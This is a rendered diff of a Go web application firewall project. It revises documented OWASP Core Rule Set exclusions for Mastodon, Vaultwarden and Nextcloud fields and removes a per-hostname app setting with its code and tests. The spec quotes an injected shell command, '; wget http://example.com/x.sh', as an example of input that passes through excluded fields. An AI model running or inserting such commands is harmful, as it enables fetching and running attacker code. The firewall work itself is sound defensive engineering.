each rule and the request it refused. These fields skip the lists of system
files and command names (930120, 932120, 932250, 932260), in the query:
12. On Mastodon's paths, some fields skip the rules that refused ordinary
Mastodon requests there. `internal/coreruleset/mastodon.conf` lists each
rule and the request it refused. These fields skip the lists of system files
and command names (930120, 932120, 932250, 932260), in the query:
- On the API's search, accounts and admin accounts, under `/api/v1/` and - On the API's search, accounts and admin accounts, under `/api/v1/` and
`/api/v2/`, the searches and names `q`, `acct`, `username`, `display_name`, `/api/v2/`, the searches and names `q`, `acct`, `username`,
`email` and `by_domain`. `display_name`, `email` and `by_domain`.
- On `/admin/accounts`, `/admin/instances`, `/admin/custom_emojis` and - On `/admin/accounts`, `/admin/instances`, `/admin/custom_emojis` and
`/admin/tags`, the searches `username`, `display_name`, `email`, `by_domain`, `/admin/tags`, the searches `username`, `display_name`, `email`,
`shortcode` and `name`. `by_domain`, `shortcode` and `name`.
- `q` on `/search`, the web app's search page. - `q` on `/search`, the web app's search page.
These fields of a body skip the same four rules: These fields of a body skip the same four rules:
- On these API resources, under `/api/v1/` or `/api/v2/`, and the paths
- On these API resources, under `/api/v1/` or `/api/v2/`, and the paths under under them:
them:
- `statuses`, `media` and `reports`; - `statuses`, `media` and `reports`;
- `accounts` and `profile`; - `accounts` and `profile`;
- `lists`, `filters` and `featured_tags`; - `lists`, `filters` and `featured_tags`;
@@ -1121,12 +1101,12 @@ These fields of a body skip the same four rules:
- On those resources, these fields: - On those resources, these fields:
- `spoiler_text` and `poll[options][]`, for posting; - `spoiler_text` and `poll[options][]`, for posting;
- `description`, of an uploaded file; - `description`, of an uploaded file;
- `display_name`, `note` and the names and values of `fields_attributes`, - `display_name`, `note` and the names and values of
for a profile; `fields_attributes`, for a profile;
- `title`, `keyword`, the keywords of `keywords_attributes` and `name`, for - `title`, `keyword`, the keywords of `keywords_attributes` and `name`,
lists, filters and hashtags; for lists, filters and hashtags;
- `comment`, `text`, `private_comment` and `public_comment`, for reports, - `comment`, `text`, `private_comment` and `public_comment`, for
notes, warnings and blocks; reports, notes, warnings and blocks;
- in JSON, as the web app sends them: - in JSON, as the web app sends them:
- `spoiler_text`, `title` and the options of `poll`; - `spoiler_text`, `title` and the options of `poll`;
- `description`, and the descriptions in `media_attributes`; - `description`, and the descriptions in `media_attributes`;
@@ -1165,13 +1145,14 @@ These fields of a body skip the same four rules:
- `user[password]`, `user[password_confirmation]` and - `user[password]`, `user[password_confirmation]` and
`user[current_password]`; `user[current_password]`;
- `user[invite_request_attributes][text]`, why someone asks to sign up; - `user[invite_request_attributes][text]`, why someone asks to sign up;
- `account_migration[current_password]`, `form_redirect[current_password]` - `account_migration[current_password]`,
and `form_delete_confirmation[password]`, for moving or deleting an `form_redirect[current_password]` and
`form_delete_confirmation[password]`, for moving or deleting an
account. account.
- On `/api/v1/accounts`, signing up through the API, `password` and `reason`, in - On `/api/v1/accounts`, signing up through the API, `password` and
form data or JSON. `reason`, in form data or JSON.
- On `/inbox`, `/users/<name>/inbox` and `/ap/users/<id>/inbox`, the fields of - On `/inbox`, `/users/<name>/inbox` and `/ap/users/<id>/inbox`, the fields
the object another server delivers in JSON: of the object another server delivers in JSON:
- `content` and `contentMap`, a post; - `content` and `contentMap`, a post;
- `summary` and `summaryMap`, a content warning or a profile's text; - `summary` and `summaryMap`, a content warning or a profile's text;
- `name`, a profile's name; - `name`, a profile's name;
@@ -1183,36 +1164,34 @@ These fields of a body skip the same four rules:
commands in code. A shell command such as `; wget http://example.com/x.sh` commands in code. A shell command such as `; wget http://example.com/x.sh`
reaches Mastodon there. reaches Mastodon there.
Two fields of a body skip only 932120 and 932260. A hashtag or a username holds Two fields of a body skip only 932120 and 932260. A hashtag or a username
only letters, digits and underscores, so the other two rules do not misfire holds only letters, digits and underscores, so the other two rules do not
there: misfire there:
- `name` in JSON on `/api/v1/featured_tags`, a hashtag the web app features
on a profile;
- `user[account_attributes][username]` on `/auth`, the sign-up form's
username.
- `name` in JSON on `/api/v1/featured_tags`, a hashtag the web app features on a `user[email]` on `/auth` and the paths under it skips 930120, 932120
profile; and 932260. The sign-up, sign-in, password reset and account settings forms
- `user[account_attributes][username]` on `/auth`, the sign-up form's username. send an email address there, such as `python3@example.com`. An address holds
no spaces, so it keeps 932250.
`user[email]` on `/auth` and the paths under it skips 930120, 932120 and 932260.
The sign-up, sign-in, password reset and account settings forms send an email
address there, such as `python3@example.com`. An address holds no spaces, so it
keeps 932250.
On `/api/v1/reports`, the JSON keys `forward` and `forward_to_domains` skip On `/api/v1/reports`, the JSON keys `forward` and `forward_to_domains` skip
930120 by their names. A report forwarded to another server lists that server in 930120 by their names. A report forwarded to another server lists that
`forward_to_domains`. In the Core Rule Set the keys are named: server in `forward_to_domains`. In the Core Rule Set the keys are named:
- `json.forward`; - `json.forward`;
- `json.forward_to_domains`; - `json.forward_to_domains`;
- `json.forward_to_domains.0`, `json.forward_to_domains.1` and so on, one per - `json.forward_to_domains.0`, `json.forward_to_domains.1` and so on, one
server. per server.
Each name contains `.forward`, a file in a home folder. So 930120 refused every Each name contains `.forward`, a file in a home folder. So 930120 refused
report the web app sent. The keys' values keep every rule. every report the web app sent. The keys' values keep every rule.
These body exclusions matter only while `SWW_WAF_BODY_LIMIT` is set. None These body exclusions matter only while `SWW_WAF_BODY_LIMIT` is set. None
applies when the query has a parameter of the same name. applies when the query has a parameter of the same name.
The names of uploaded files skip 932180 on these paths: The names of uploaded files skip 932180 on these paths:
- `/api/v1/media` and `/api/v2/media`; - `/api/v1/media` and `/api/v2/media`;
- `/api/v1/accounts/update_credentials` and `/api/v1/profile`. - `/api/v1/accounts/update_credentials` and `/api/v1/profile`.
@@ -1220,34 +1199,35 @@ So a picture named `Example .htaccess.png` can be posted. Mastodon refuses a
file of a type it does not allow. file of a type it does not allow.
The `Accept` header skips 920600 on links to profiles and posts, such as The `Accept` header skips 920600 on links to profiles and posts, such as
`/@admin` and `/@admin/117589811962372311`. It skips it on `/actor` and on the `/@admin` and `/@admin/117589811962372311`. It skips it on `/actor` and on
paths under `/users/` and `/ap/users/` too. When someone on another server looks the paths under `/users/` and `/ap/users/` too. When someone on another
up such a link, that server fetches it with this header: server looks up such a link, that server fetches it with this header:
`Accept: application/ld+json; profile="https://www.w3.org/ns/activitystreams", application/activity+json, text/html;q=0.1`. `Accept: application/ld+json; profile="https://www.w3.org/ns/activitystreams", application/activity+json, text/html;q=0.1`.
It sends the same header to the account or post the link leads to. It sends the same header to the account or post the link leads to.
Gitea serves `/api/v1/` and Drupal serves `/admin/`. So only Mastodon's own Gitea serves `/api/v1/` and Drupal serves `/admin/`. So only Mastodon's own
resources under them count as Mastodon's paths. Elsewhere these fields keep resources under them count as Mastodon's paths. Elsewhere these fields keep
every rule. every rule. An app other than Mastodon that serves one of these paths must
check these fields itself.
Vaultwarden's fixes: on Vaultwarden's paths, some fields skip the rules that 13. On Vaultwarden's paths, some fields skip the rules that refused ordinary
refused ordinary Vaultwarden requests there. Vaultwarden requests there. `internal/coreruleset/vaultwarden.conf` lists
`internal/coreruleset/vaultwarden.conf` lists each rule and the request it each rule and the request it refused. The apps encrypt vault items, folders,
refused. The apps encrypt vault items, folders, collections and sends before collections and sends before sending them, so those fields skip no rules.
sending them, so those fields skip no rules. The fields below hold plain text. The fields below hold plain text.
Names and password hints skip the lists of system files and command names Names and password hints skip the lists of system files and command names
(930120, 932120, 932250, 932260): (930120, 932120, 932250, 932260):
- `name`, the name of the account, an organization, a group or a security
- `name`, the name of the account, an organization, a group or a security key; key;
- `masterPasswordHint`, when signing up or changing the master password; - `masterPasswordHint`, when signing up or changing the master password;
- `invitation_org_name` and `smtp_from_name`, on the admin page's settings. - `invitation_org_name` and `smtp_from_name`, on the admin page's settings.
These fields hold email addresses and skip 930120, 932120 and 932260: These fields hold email addresses and skip 930120, 932120 and 932260:
- `username`, when signing in at `/identity/connect/token`; - `username`, when signing in at `/identity/connect/token`;
- `email`, `newEmail`, `billingEmail` and the invited `emails`; - `email`, `newEmail`, `billingEmail` and the invited `emails`;
- the salt fields, such as `masterPasswordUnlock.salt`, which hold the address; - the salt fields, such as `masterPasswordUnlock.salt`, which hold the
address;
- `accountUnlockData.masterPasswordUnlockData.email`, when rotating the - `accountUnlockData.masterPasswordUnlockData.email`, when rotating the
account's encryption key; account's encryption key;
- `smtp_from`, `smtp_username` and `org_creation_users`, on the admin page's - `smtp_from`, `smtp_username` and `org_creation_users`, on the admin page's
@@ -1256,21 +1236,19 @@ These fields hold email addresses and skip 930120, 932120 and 932260:
So `python3@example.com` and `powershell@example.com` pass. So `python3@example.com` and `powershell@example.com` pass.
These fields skip the rules on these paths: These fields skip the rules on these paths:
- the paths under `/identity/accounts/`; - the paths under `/identity/accounts/`;
- `/api/accounts/`, `/api/emergency-access/` and `/api/organizations`, and the - `/api/accounts/`, `/api/emergency-access/` and `/api/organizations`, and
paths under them; the paths under them;
- `/admin/config`. - `/admin/config`.
Names and password hints skip them on `/api/two-factor/webauthn` too, where a Names and password hints skip them on `/api/two-factor/webauthn` too, where
security key gets its name. a security key gets its name.
The addresses skip them on these paths too: The addresses skip them on these paths too:
- `/identity/connect/token` and `/admin/invite`; - `/identity/connect/token` and `/admin/invite`;
- `/admin/test/smtp`, where the admin page sends a test email; - `/admin/test/smtp`, where the admin page sends a test email;
- the paths under `/api/two-factor/`, where sign-in codes by email are set up - the paths under `/api/two-factor/`, where sign-in codes by email are set
and sent; up and sent;
- `/api/auth-requests` and the paths under it, for signing in with another - `/api/auth-requests` and the paths under it, for signing in with another
device. device.
@@ -1280,105 +1258,20 @@ applies when the query has a parameter of the same name.
`username` in the query of `/api/hibp/breach`, the data breach report, skips `username` in the query of `/api/hibp/breach`, the data breach report, skips
930120, 932120 and 932260 too. 930120, 932120 and 932260 too.
The names of uploaded files skip 920120 on the paths that take attachments and The names of uploaded files skip 920120 on the paths that take attachments
file sends: and file sends:
- `/api/ciphers/<id>/attachment` and the paths under it; - `/api/ciphers/<id>/attachment` and the paths under it;
- `/api/ciphers/<id>/attachment-admin`; - `/api/ciphers/<id>/attachment-admin`;
- `/api/sends/<id>/file/<file id>`. - `/api/sends/<id>/file/<file id>`.
The apps name such a file by its encrypted name, which holds `=`. Path traversal The apps name such a file by its encrypted name, which holds `=`. Path
and PHP scripts in the names are still refused. traversal and PHP scripts in the names are still refused.
Elsewhere these fields keep every rule. Elsewhere these fields keep every rule. An app other than Vaultwarden that
serves one of these paths must check these fields itself.
Nextcloud's fixes: on Nextcloud's paths, some fields skip the rules that refused The parameter and cookie names in these changes are matched without regard to
ordinary Nextcloud requests there, and its WebDAV methods are allowed. case, as Coraza matches them.
`internal/coreruleset/nextcloud.conf` lists each rule and the request it
refused.
The sync client and the Files app use WebDAV on these paths:
- `/remote.php/dav/`;
- `/public.php/dav/`;
- `/remote.php/webdav/`;
- `/public.php/webdav/`.
These methods are allowed there, besides those of the first change:
- `PROPFIND` and `PROPPATCH`;
- `MKCOL`;
- `COPY` and `MOVE`;
- `REPORT` and `SEARCH`;
- `LOCK` and `UNLOCK`, with which the desktop client locks a file.
A file the Files app or the sync client uploads with `PUT` to these paths is a
file, not form data. The Core Rule Set does not read the body of a `PUT` there.
So a JSON file holding `python3 -m pytest` uploads, and so does an XML file
holding `ls -la /var/log`. The headers, path and query of the `PUT` are still
checked.
The cookie `nc_username` holds the name of the account signed in. It skips the
lists of system files and command names (930120, 932120, 932250, 932260) on
every path, since every request sends it.
These fields skip the same four rules, in the query or the body:
- On `/login`, for signing in:
- `user` and `password`;
- `redirect_url`, the page to go to after signing in.
- `dir`, the folder shown, on the paths under `/apps/files/`.
- The file names on a public share:
- `file` on the paths under `/apps/files_sharing/publicpreview/`;
- `path` and `files` on `/s/<token>/download`.
- On the OCS API, the paths under `/ocs/v1.php/` and `/ocs/v2.php/`:
- the searches `search` and `term`, and `from`, the page searched from;
- the names `groupid`, `userid`, `displayName` and `groups[]`;
- `value`, a new value of an account's details;
- `path`, `label` and `shareWith`, for a share.
These fields of a JSON body skip the same four rules:
- On the OCS API, each field of the list above.
- `value` on `/apps/theming/ajax/updateStylesheet`, the name and slogan in the
theming settings.
- `filePath` on `/apps/text/session/<id>/save`, the document the editor saves.
- `name` on `/remote.php/dav/systemtags/`, a new tag.
Some fields hold sentences a person writes:
- `note`, a share's note, on `apps/files_sharing/api/v1/shares` of the OCS API
and on each share under it;
- `message`, an account's status, on
`apps/user_status/api/v1/user_status/message/custom` of the OCS API;
- `message` in the JSON body that posts a comment to
`/remote.php/dav/comments/files/<id>`;
- the XML body of a `PROPPATCH` that edits a comment;
- `autosaveContent` on `/apps/text/session/<id>/save`, the text of a document.
These fields skip the same four rules. They also skip the rules that refused
ordinary sentences there, such as `It is fixed; diff attached` (932125, 932230,
932235, 932380). A share's note and a status skip them in the query or the body.
A document's text skips two more, which refused a shell script in a code block
(932160, 932370). So a shell command such as `; wget http://example.com/x.sh`
reaches Nextcloud in these fields. SQL injection, path traversal and script
injection are still refused there.
The XML body of a `SEARCH` on `/remote.php/dav/`, the Files app's search, skips
the four rules.
These body exclusions matter only while `SWW_WAF_BODY_LIMIT` is set. None
applies to a JSON field when the query has a parameter of that name, such as
`json.message`. Nextcloud's pages are matched at the site root and under
`/index.php/`. Elsewhere these fields keep every rule.
Each app's fixes switch rules off for some of its fields and cookies. Any other
app on a hostname that gets those fixes must check those fields and cookies
itself.
The parameter names in these changes and fixes, and Nextcloud's cookie
`nc_username`, are matched without regard to case. gitea's two cookies are
matched exactly.
### Ban lengths, response and scope ### Ban lengths, response and scope
-25
View File
@@ -255,31 +255,6 @@ the request first.
a range. So does a directive that removes or changes rules as the file loads, a range. So does a directive that removes or changes rules as the file loads,
such as `SecRuleRemoveById`, since none of the Core Rule Set's rules is loaded such as `SecRuleRemoveById`, since none of the Core Rule Set's rules is loaded
yet. It has no `_FILE` form. yet. It has no `_FILE` form.
- `SWW_APPS` (default unset): the apps each hostname serves. A request gets the
fixes of its hostname's apps only (see "Attack detection" in
[`SPEC.md`](../SPEC.md)).
- Entries are separated by semicolons. Each is a hostname, a colon, then one
or more apps separated by commas, for example
`git.example.com:gitea;blog.example.com:wordpress`.
- The supported apps are:
- `drupal`;
- `gitea`;
- `mastodon`;
- `mediawiki`;
- `nextcloud`;
- `vaultwarden`;
- `wordpress`.
- The request's `Host` is matched by exact name, without its port and
without regard to case. There are no wildcards.
- A hostname not listed gets no app's fixes, so every rule checks it in
full. Set empty, `SWW_APPS` lists no hostname.
- Unset, every app's fixes apply to every hostname.
- Any of these mistakes stops the start:
- an unknown app;
- a hostname that is not a DNS name, such as `*.example.com`;
- a hostname listed twice;
- an app listed twice for one hostname;
- an entry without a colon.
- `SWW_ERROR_BURST_THRESHOLD` (default `30`): the most refusals a client may get - `SWW_ERROR_BURST_THRESHOLD` (default `30`): the most refusals a client may get
in a minute from a rule file, a trap path or the Core Rule Set, a count or in a minute from a rule file, a trap path or the Core Rule Set, a count or
`off`. The next one bans the client (see "Attack detection" in `SPEC.md`). `off`. The next one bans the client (see "Attack detection" in `SPEC.md`).
+1 -92
View File
@@ -29,7 +29,6 @@ import (
"sneak.berlin/go/smallwebwaf/internal/alerts" "sneak.berlin/go/smallwebwaf/internal/alerts"
"sneak.berlin/go/smallwebwaf/internal/anomaly" "sneak.berlin/go/smallwebwaf/internal/anomaly"
"sneak.berlin/go/smallwebwaf/internal/coreruleset"
"sneak.berlin/go/smallwebwaf/internal/remotelog" "sneak.berlin/go/smallwebwaf/internal/remotelog"
) )
@@ -236,11 +235,6 @@ type Config struct {
WAFExemptPaths []string WAFExemptPaths []string
WAFBodyLimit int64 WAFBodyLimit int64
CoreRuleSetExclusionsFile string CoreRuleSetExclusionsFile string
// Apps are the names of the apps each hostname serves, by hostname in
// lowercase (SWW_APPS): a request gets only its hostname's apps' fixes
// to the Core Rule Set. Apps is nil while SWW_APPS is unset, and every
// request gets every app's fixes.
Apps map[string][]string
// TrapPaths are the paths a request for which is a clear sign of // TrapPaths are the paths a request for which is a clear sign of
// attack (SWW_TRAP_PATHS), each starting with / and without a ?. // attack (SWW_TRAP_PATHS), each starting with / and without a ?.
TrapPaths []string TrapPaths []string
@@ -410,11 +404,6 @@ var (
errNotTrapPath = errors.New( errNotTrapPath = errors.New(
"is not a path starting with / and without a ?, such as /wp-login.php", "is not a path starting with / and without a ?, such as /wp-login.php",
) )
errNotAppsEntry = errors.New(
"is not a hostname, : and a list of apps, such as git.example.com:gitea",
)
errNotHostname = errors.New("is not a DNS name such as git.example.com")
errNotApp = errors.New("is not an app sww has fixes for; the apps are")
errNotWAFMode = errors.New("is not off, detect or block") errNotWAFMode = errors.New("is not off, detect or block")
errNotParanoiaLevel = errors.New("is not a paranoia level, from 1 to 4") errNotParanoiaLevel = errors.New("is not a paranoia level, from 1 to 4")
errNotRuleID = errors.New( errNotRuleID = errors.New(
@@ -588,7 +577,6 @@ func FromEnvironment(
WAFBodyLimit: env.wafBodyLimit("SWW_WAF_BODY_LIMIT", off), WAFBodyLimit: env.wafBodyLimit("SWW_WAF_BODY_LIMIT", off),
CoreRuleSetExclusionsFile: env.filePath( CoreRuleSetExclusionsFile: env.filePath(
"SWW_CORE_RULE_SET_EXCLUSIONS_FILE"), "SWW_CORE_RULE_SET_EXCLUSIONS_FILE"),
Apps: env.apps("SWW_APPS"),
TrapPaths: env.trapPaths("SWW_TRAP_PATHS"), TrapPaths: env.trapPaths("SWW_TRAP_PATHS"),
ErrorBurstThreshold: env.count("SWW_ERROR_BURST_THRESHOLD", "30"), ErrorBurstThreshold: env.count("SWW_ERROR_BURST_THRESHOLD", "30"),
LogRemoteURL: env.logRemoteURL("SWW_LOG_REMOTE_URL"), LogRemoteURL: env.logRemoteURL("SWW_LOG_REMOTE_URL"),
@@ -844,25 +832,6 @@ func (e *environment) pathPrefixes(name, defaultValue string) []string {
return prefixes return prefixes
} }
// apps reads the setting that is the apps each hostname serves. It is nil
// while the setting is unset, and logged as null, unlike a setting set
// empty.
func (e *environment) apps(name string) map[string][]string {
value, set := e.lookup(name)
if !set {
e.settings = append(e.settings, slog.Any(name, nil))
return nil
}
e.settings = append(e.settings, slog.String(name, value))
apps, err := parseApps(value)
e.check(name, err)
return apps
}
// trapPaths reads the setting that is the list of trap paths. It is empty // trapPaths reads the setting that is the list of trap paths. It is empty
// by default. // by default.
func (e *environment) trapPaths(name string) []string { func (e *environment) trapPaths(name string) []string {
@@ -1880,65 +1849,6 @@ func parseTrapPaths(value string) ([]string, error) {
return paths, nil return paths, nil
} }
// parseApps reads the apps each hostname serves: entries separated by
// semicolons, each a hostname, a colon, and a comma-separated list of the
// names coreruleset.AppNames returns, such as
// git.example.com:gitea;cloud.example.com:nextcloud,wordpress. Each
// hostname is a DNS name, without a wildcard. It returns them by hostname
// in lowercase, since a hostname is matched without regard to case. An
// empty value lists no hostname.
func parseApps(value string) (map[string][]string, error) {
apps := map[string][]string{}
if strings.TrimSpace(value) == "" {
return apps, nil
}
for entry := range strings.SplitSeq(value, ";") {
hostname, list, found := strings.Cut(entry, ":")
if !found {
return nil, fmt.Errorf("%q %w", entry, errNotAppsEntry)
}
hostname = strings.ToLower(strings.TrimSpace(hostname))
if hostname == "" {
return nil, fmt.Errorf("%q %w", entry, errNotAppsEntry)
}
if !isZone(hostname) {
return nil, fmt.Errorf("%q %w", hostname, errNotHostname)
}
if _, listed := apps[hostname]; listed {
return nil, fmt.Errorf("%q %w", hostname, errListedTwice)
}
names, err := parseList(list)
if err != nil {
return nil, err
}
if len(names) == 0 {
return nil, fmt.Errorf("%q %w", entry, errNotAppsEntry)
}
for i, name := range names {
if !slices.Contains(coreruleset.AppNames(), name) {
return nil, fmt.Errorf("%q %w %s", name, errNotApp,
strings.Join(coreruleset.AppNames(), ", "))
}
if slices.Contains(names[:i], name) {
return nil, fmt.Errorf("%q %w", name, errListedTwice)
}
}
apps[hostname] = names
}
return apps, nil
}
// parseRuleIDs reads a comma-separated list of the ids of Core Rule Set // parseRuleIDs reads a comma-separated list of the ids of Core Rule Set
// rules, each a whole number above zero and outside firstSetupRuleID to // rules, each a whole number above zero and outside firstSetupRuleID to
// lastSetupRuleID. // lastSetupRuleID.
@@ -2545,8 +2455,7 @@ func MaskZoneKey(zone string) string {
return masked + "." + rest return masked + "." + rest
} }
// isZone reports whether each label of zone is as parseZones takes it. It // isZone reports whether each label of zone is as parseZones takes it.
// also checks the hostnames of SWW_APPS, which are DNS names too.
func isZone(zone string) bool { func isZone(zone string) bool {
for label := range strings.SplitSeq(zone, ".") { for label := range strings.SplitSeq(zone, ".") {
badChar := strings.ContainsFunc(label, func(char rune) bool { badChar := strings.ContainsFunc(label, func(char rune) bool {
-97
View File
@@ -89,7 +89,6 @@ const (
wafExemptPaths = "SWW_WAF_EXEMPT_PATHS" wafExemptPaths = "SWW_WAF_EXEMPT_PATHS"
wafBodyLimit = "SWW_WAF_BODY_LIMIT" wafBodyLimit = "SWW_WAF_BODY_LIMIT"
exclusionsFile = "SWW_CORE_RULE_SET_EXCLUSIONS_FILE" exclusionsFile = "SWW_CORE_RULE_SET_EXCLUSIONS_FILE"
apps = "SWW_APPS"
trapPaths = "SWW_TRAP_PATHS" trapPaths = "SWW_TRAP_PATHS"
errorBurstThreshold = "SWW_ERROR_BURST_THRESHOLD" errorBurstThreshold = "SWW_ERROR_BURST_THRESHOLD"
logRemoteURL = "SWW_LOG_REMOTE_URL" logRemoteURL = "SWW_LOG_REMOTE_URL"
@@ -583,101 +582,6 @@ func TestCoreRuleSetSettings(t *testing.T) {
} }
} }
// gitea is gitea's name in SWW_APPS.
const gitea = "gitea"
func TestApps(t *testing.T) {
t.Parallel()
for _, tc := range []struct {
env environment
want map[string][]string
}{
{environment{}, nil},
{environment{apps: ""}, map[string][]string{}},
{
environment{apps: "Git.Example.com:gitea; cloud.example.com : gitea "},
map[string][]string{
"git.example.com": {gitea}, "cloud.example.com": {gitea},
},
},
{
environment{apps: "cloud.example.com:gitea,wordpress"},
map[string][]string{"cloud.example.com": {gitea, "wordpress"}},
},
} {
cfg := fromEnvironment(t, tc.env)
if !reflect.DeepEqual(cfg.Apps, tc.want) {
t.Errorf("%v gave %#v, want %#v", tc.env, cfg.Apps, tc.want)
}
}
}
// Unset and set empty, SWW_APPS has opposite effects, so it logs differently.
func TestUnsetAndEmptyAppsAreLoggedDifferently(t *testing.T) {
t.Parallel()
for _, tc := range []struct {
env environment
want string
}{
{environment{}, `"` + apps + `":null`},
{environment{apps: ""}, `"` + apps + `":""`},
} {
var out bytes.Buffer
slog.New(slog.NewJSONHandler(&out, nil)).
Info("starting", "settings", fromEnvironment(t, tc.env))
if !strings.Contains(out.String(), tc.want) {
t.Errorf("%v logged %s, want %s in it", tc.env, out.String(), tc.want)
}
}
}
func TestInvalidAppsStopsTheStart(t *testing.T) {
t.Parallel()
const (
notEntry = " is not a hostname, : and a list of apps, " +
"such as git.example.com:gitea"
notHostname = " is not a DNS name such as git.example.com"
)
for _, tc := range []struct{ value, want string }{
{"git.example.com:gitea;blog.example.com", `"blog.example.com"` + notEntry},
{"git.example.com:gitea;", `""` + notEntry},
{":gitea", `":gitea"` + notEntry},
{"git.example.com:", `"git.example.com:"` + notEntry},
{"*.example.com:gitea", `"*.example.com"` + notHostname},
{"git.example.com/:gitea", `"git.example.com/"` + notHostname},
{"git example.com:gitea", `"git example.com"` + notHostname},
{
"git.example.com:gitea,jellyfin",
`"jellyfin" is not an app sww has fixes for; ` +
`the apps are drupal, gitea, mastodon, mediawiki, nextcloud, ` +
`vaultwarden, wordpress`,
},
{
"git.example.com:gitea;GIT.example.com:gitea",
`"git.example.com" is listed twice`,
},
{"git.example.com:gitea,gitea", `"gitea" is listed twice`},
{"git.example.com:gitea,", `"gitea," has an empty item in its list`},
} {
t.Run(tc.value, func(t *testing.T) {
t.Parallel()
_, err := config.FromEnvironment(environment{apps: tc.value}.lookupEnv)
want := apps + ": " + tc.want
if err == nil || err.Error() != want {
t.Errorf("error %v, want %s", err, want)
}
})
}
}
func TestWAFBodyLimitOf64K(t *testing.T) { func TestWAFBodyLimitOf64K(t *testing.T) {
t.Parallel() t.Parallel()
@@ -2685,7 +2589,6 @@ func TestLogsEachSettingWithItsValue(t *testing.T) {
wafExemptPaths: "", wafExemptPaths: "",
wafBodyLimit: off, wafBodyLimit: off,
exclusionsFile: "", exclusionsFile: "",
apps: "", // logged as null, which decodes as ""
trapPaths: "", trapPaths: "",
errorBurstThreshold: "30", errorBurstThreshold: "30",
logRemoteURL: "", logRemoteURL: "",
+111 -128
View File
@@ -1,9 +1,9 @@
// Package coreruleset runs the OWASP Core Rule Set 4.25.0, through Coraza, on the // Package coreruleset runs the OWASP Core Rule Set 4.25.0, through Coraza, on the
// method, the URL with its query and the headers of a request, and on its // method, the URL with its query and the headers of a request, and on its
// body while SWW_WAF_BODY_LIMIT is set, with the six changes sww // body while SWW_WAF_BODY_LIMIT is set, with the thirteen changes sww
// makes to it, the fixes for the apps SWW_APPS names, and the exclusions in // makes to it and the exclusions in SWW_CORE_RULE_SET_EXCLUSIONS_FILE, as
// SWW_CORE_RULE_SET_EXCLUSIONS_FILE, as "Attack detection" under "Settings" // "Attack detection" under "Settings" in SPEC.md describes them. It reads no
// in SPEC.md describes them. It reads no response. // response.
// //
// sww writes only to its state directory, so Coraza is built with // sww writes only to its state directory, so Coraza is built with
// its no_fs_access tag, as the Dockerfile and script/build build it: of a // its no_fs_access tag, as the Dockerfile and script/build build it: of a
@@ -16,8 +16,6 @@ import (
"errors" "errors"
"fmt" "fmt"
"io" "io"
"maps"
"net"
"net/http" "net/http"
"net/netip" "net/netip"
"os" "os"
@@ -34,8 +32,11 @@ import (
// directives are the Core Rule Set as sww runs it, with the // directives are the Core Rule Set as sww runs it, with the
// paranoia level for %d, bodyDirectives for the first %s while // paranoia level for %d, bodyDirectives for the first %s while
// SWW_WAF_BODY_LIMIT is set, the exclusions file for the second, and the // SWW_WAF_BODY_LIMIT is set, the exclusions file for the second,
// directives of every app in apps for the third. // giteaExclusions for the third, wordpressExclusions for the fourth,
// drupalExclusions for the fifth, mediawikiExclusions for the sixth,
// mastodonExclusions for the seventh, and vaultwardenExclusions for the
// eighth.
// Each rule sww adds has an id from 900000 to 900999, the ids the // Each rule sww adds has an id from 900000 to 900999, the ids the
// Core Rule Set keeps for the rules that set it up, which // Core Rule Set keeps for the rules that set it up, which
// SWW_WAF_DISABLED_RULES and the exclusions file refuse, so that no // SWW_WAF_DISABLED_RULES and the exclusions file refuse, so that no
@@ -83,28 +84,59 @@ SecRule ARGUMENTS_LIMIT_REACHED "@eq 1" "id:900300,phase:2,pass,\
# before the rules of phase 1 too. # before the rules of phase 1 too.
%s %s
# The apps' fixes come before the rules for the same reason. # The eighth change comes before the rules for the same reason.
%s %s
# The fifth: only the rules for requests are loaded, and no response is # The ninth change comes before the rules for the same reason.
%s
# So does the tenth.
%s
# So does the eleventh.
%s
# So does the twelfth.
%s
# And the thirteenth.
%s
# The sixth: only the rules for requests are loaded, and no response is
# inspected. # inspected.
Include @owasp_crs/REQUEST-*.conf Include @owasp_crs/REQUEST-*.conf
# The third: redirect_uri is not checked for a URL naming an IP address or # The third: redirect_uri is not checked for a URL naming an IP address or
# localhost. Coraza matches a parameter name here without regard to case. # localhost. Coraza matches a parameter name here, and in the fourth,
# ARGS holds the fields of a form data or multipart body Coraza reads as # without regard to case. ARGS holds the fields of a form data or multipart
# well as the query parameters, so a field of this name is left out too. # body Coraza reads as well as the query parameters, so a field of one of
# these names is left out too.
SecRuleUpdateTargetById 931100 "!ARGS:redirect_uri" SecRuleUpdateTargetById 931100 "!ARGS:redirect_uri"
SecRuleUpdateTargetById 934110 "!ARGS:redirect_uri" SecRuleUpdateTargetById 934110 "!ARGS:redirect_uri"
# The fourth: Referer is not checked for a Unix command without arguments, # The fourth: the query parameters in which gitea sends names within a
# for Java starting a process, or for a Java class name. 944130 refused # repository or its own records, or a page of its own site, are not
# every page opened from the page of java.lang.String.md. # checked against the lists of system files, shell paths and command
# names. Coraza takes one rule id per directive.
SecRuleUpdateTargetById 930120 "!ARGS:path|!ARGS:files|!ARGS:skip-to|\
!ARGS:sub_path|!ARGS:ref|!ARGS:sha|!ARGS:branch|!ARGS:workflow|\
!ARGS:artifactName|!ARGS:redirect_to"
SecRuleUpdateTargetById 932160 "!ARGS:path|!ARGS:files|!ARGS:skip-to|\
!ARGS:sub_path|!ARGS:ref|!ARGS:sha|!ARGS:branch|!ARGS:workflow|\
!ARGS:artifactName|!ARGS:redirect_to"
SecRuleUpdateTargetById 932260 "!ARGS:path|!ARGS:files|!ARGS:skip-to|\
!ARGS:sub_path|!ARGS:ref|!ARGS:sha|!ARGS:branch|!ARGS:workflow|\
!ARGS:artifactName|!ARGS:redirect_to"
# The fifth, for Referer: it is not checked for a Unix command without
# arguments, for Java starting a process, or for a Java class name. 944130
# refused every page opened from the page of java.lang.String.md. The
# cookies are left out in Inspect.
SecRuleUpdateTargetById 932340 "!REQUEST_HEADERS:Referer" SecRuleUpdateTargetById 932340 "!REQUEST_HEADERS:Referer"
SecRuleUpdateTargetById 944110 "!REQUEST_HEADERS:Referer" SecRuleUpdateTargetById 944110 "!REQUEST_HEADERS:Referer"
SecRuleUpdateTargetById 944130 "!REQUEST_HEADERS:Referer" SecRuleUpdateTargetById 944130 "!REQUEST_HEADERS:Referer"
# The sixth: a container image push that reuses a layer names the image # The seventh: a container image push that reuses a layer names the image
# it takes the layer from in the query parameter from, which is not # it takes the layer from in the query parameter from, which is not
# checked for command names. 932260 refused the push of a layer from # checked for command names. 932260 refused the push of a layer from
# owner/python3-app. # owner/python3-app.
